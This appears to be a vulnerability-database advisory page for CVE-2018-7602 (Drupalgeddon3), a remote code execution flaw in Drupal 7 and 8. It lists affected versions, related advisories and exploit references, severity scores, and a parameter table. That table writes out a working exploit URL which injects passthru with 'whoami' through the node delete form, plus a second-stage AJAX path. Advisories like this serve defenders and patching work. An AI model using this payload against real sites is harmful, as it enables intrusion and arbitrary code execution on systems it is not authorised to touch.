CVE-2018-7602

🗓️ 19 Jul 2018 17:00:00Reported by drupalType

cve🔗 web.nvd.nist.gov👁 1282 Views🌐 WEB

Drupal 7.x and 8.x multiple subsystems remote code execution vulnerability - Highly critical

Reporter	Title	Published	Views	Family All 100
zdt	Drupal < 7.58 - drupalgeddon3 Authenticated Remote Code Execution (PoC) Exploit	26 Apr 201800:00	–	zdt
zdt	Drupal < 7.58 - Drupalgeddon3 Authenticated Remote Code Exploit	1 May 201800:00	–	zdt
IBM Security Bulletins	Security Bulletin: API Connect Developer Portal is affected by a Drupal vulnerability (CVE-2018-7602)	15 Jun 201807:09	–	ibm
Gitee	Exploit for Code Injection in Drupal	24 Jul 202114:28	–	gitee
GithubExploit	Exploit for Improper Input Validation in Drupal	17 Apr 201815:38	–	githubexploit
GithubExploit	Exploit for Code Injection in Drupal	27 Apr 201801:59	–	githubexploit
attackerkb	Drupal core - Highly critical - Remote Code Execution - SA-CORE-2018-004	19 Jul 201800:00	–	attackerkb
AlpineLinux	CVE-2018-7602	19 Jul 201817:00	–	alpinelinux
ArchLinux	[ASA-201804-10] drupal: arbitrary command execution	27 Apr 201800:00	–	archlinux
BDU FSTEC	The vulnerability of the Drupal CMS system’s kernel, related to improper code generation, allows attackers to execute arbitrary code.	3 Apr 202600:00	–	bdu_fstec

NVD

Vulners

Node

drupal drupalRange7.0–7.59

drupal drupalRange8.4.0–8.4.8

drupal drupalRange8.5.0–8.5.3

Node

debian debian_linuxMatch7.0

debian debian_linuxMatch8.0

debian debian_linuxMatch9.0

[
  {
    "defaultStatus": "unaffected",
    "product": "core",
    "vendor": "Drupal",
    "versions": [
      {
        "lessThan": "7.59",
        "status": "affected",
        "version": "unspecified",
        "versionType": "custom"
      },
      {
        "lessThan": "8.5.3",
        "status": "affected",
        "version": "unspecified",
        "versionType": "custom"
      },
      {
        "lessThan": "8.4.8",
        "status": "affected",
        "version": "unspecified",
        "versionType": "custom"
      }
    ]
  }
]

Source	Link
debian	www.debian.org/security/2018/dsa-4180
drupal	www.drupal.org/sa-core-2018-004
securitytracker	www.securitytracker.com/id/1040754
lists	www.lists.debian.org/debian-lts-announce/2018/04/msg00030.html
exploit-db	www.exploit-db.com/exploits/44557/
exploit-db	www.exploit-db.com/exploits/44542/
securityfocus	www.securityfocus.com/bid/103985
cisa	www.cisa.gov/known-exploited-vulnerabilities-catalog

Parameter	Position	Path	Description	CWE
q	query param	/?q=node/99/delete&destination=node?q[%2523][]=passthru%26q[%2523type]=markup%26q[%2523markup]=whoami	Exploit payload for Drupal SA-CORE-2018-004 / CVE-2018-7602 via node delete form to execute arbitrary code.	CWE-94
destination	query param	/?q=node/99/delete&destination=node?q[%2523][]=passthru%26q[%2523type]=markup%26q[%2523markup]=whoami	Exploit payload for Drupal SA-CORE-2018-004 / CVE-2018-7602 via node delete form to execute arbitrary code.	CWE-94
q[%2523][]=passthru%26q[%2523type]=markup	query param	/?q=node/99/delete&destination=node?q[%2523][]=passthru%26q[%2523type]=markup%26q[%2523markup]=whoami	Exploit payload for Drupal SA-CORE-2018-004 / CVE-2018-7602 via node delete form to execute arbitrary code.	CWE-94
q[%2523markup]	query param	/?q=node/99/delete&destination=node?q[%2523][]=passthru%26q[%2523type]=markup%26q[%2523markup]=whoami	Exploit payload for Drupal SA-CORE-2018-004 / CVE-2018-7602 via node delete form to execute arbitrary code.	CWE-94
form_build_id	request body	/drupal/?q=file/ajax/actions/cancel/%23options/path/[FORM_BUILD_ID]	Second stage exploit triggering via Drupal AJAX path using the form_build_id to execute code.	CWE-94

13 Aug 2026 05:17Current

9.8Critical risk

Vulners AI Score9.8

CVSS 27.5

CVSS 3.19.8

EPSS0.99236

SSVC